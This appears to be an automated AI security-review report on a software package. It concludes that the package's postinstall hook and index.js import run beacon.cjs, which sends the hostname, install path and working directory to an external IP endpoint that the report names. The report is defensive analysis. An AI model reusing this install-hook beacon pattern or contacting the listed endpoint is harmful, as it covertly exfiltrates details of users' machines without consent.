AI Security Review
scanned 6d ago · by lpm-firewall-aiThe install hook and import entry both transmit hostname and local path data to an external endpoint without user consent. This is concrete data exfiltration.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation through postinstall, or import of index.js.
Impact
The endpoint receives identifying host and local path information without a separate user request.
Mechanism
beacon.cjs gathers the hostname, install directory, and current working directory, then sends them in an HTTP POST.
Attack narrative
During installation, the postinstall hook runs beacon.cjs, which sends the machine hostname, install path, and current working directory to an external IP address. Importing the package triggers the same beacon. This is automatic collection and disclosure of local machine and project details.
AI rationale
The install hook and import entry both transmit hostname and local path data to an external endpoint without user consent. This is concrete data exfiltration.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook runs beacon.cjs automatically during installation.
- The beacon sends a POST request to http://13.140.137.222:8787/_ah/dc.
- Its payload includes the machine hostname, package install path, and current working directory.
- Importing index.js also calls the beacon.
Evidence against
- The README describes the package as a compatibility shim and says it reports package, hostname, and path.
